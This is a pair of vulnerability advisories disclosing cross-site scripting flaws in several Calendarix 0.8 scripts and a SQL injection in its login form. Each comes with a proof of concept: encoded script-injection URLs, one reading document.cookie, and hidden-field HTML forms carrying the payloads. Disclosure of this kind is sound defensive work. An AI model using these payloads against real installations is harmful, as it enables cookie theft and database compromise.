============================= Vulnerability ID: HTB22974 Reference: http://www.htbridge.ch/advisory/multiple_xss_in_calendarix.html Product: Calendarix Vendor: http://www.calendarix.com ( http://www.calendarix.com ) Vulnerable Version: 0.8.20080808 Vendor Notification: 26 April 2011 Vulnerability Type: XSS (Cross Site Scripting) Risk level: Medium Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "/cal_login.php" script to properly sanitize user-supplied input. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. The following PoC is available: http://[host]/cal_login.php/%27%3E%3Cscript%3Ealert%28123%29;%3C/script%3E The vulnerability exists due to failure in the "/cal_catview.php" script to properly sanitize user-supplied input in "gocat" variable. The following PoC is available: <form action="http://[host]/cal_catview.php?catop=viewcat" method="post" name="main" /> <input type="hidden" name="gocat" value="'</script><script>alert(document.cookie);</script>"/> <input type="submit" value="submit"/> </form> The vulnerability exists due to failure in the "/cal_date.php" script to properly sanitize user-supplied input in "frmname" variable. The following PoC is available: http://[host]/cal_date.php?frmname=%3C/script%3E%3Cscript%3Ealert%28123%29;%3C/script%3E The vulnerability exists due to failure in the "/cal_date.php" script to properly sanitize user-supplied input in "leftfooter" variable when register_globals is on. The following PoC is available: http://[host]/cal_footer.inc.php?leftfooter=%3Cscript%3Ealert%28123%29;%3C/script%3E ============================= Vulnerability ID: HTB22975 Reference: http://www.htbridge.ch/advisory/sql_injection_in_calendarix.html Product: Calendarix Vendor: http://www.calendarix.com ( http://www.calendarix.com ) Vulnerable Version: 0.8.20080808 Vendor Notification: 26 April 2011 Vulnerability Type: SQL Injection Risk level: High Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) Vulnerability Details: The vulnerability exists due to failure in the "cal_login.php" script to properly sanitize user-supplied input in "login" variable when "password" variable empty. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://[host]/cal_login.php?op=login" method="post" name="main" /> <input type="hidden" name="login" value="'SQL_CODE_HERE"/> <input type="hidden" name="password" value=""/> <input type="submit" value="submit"/> </form>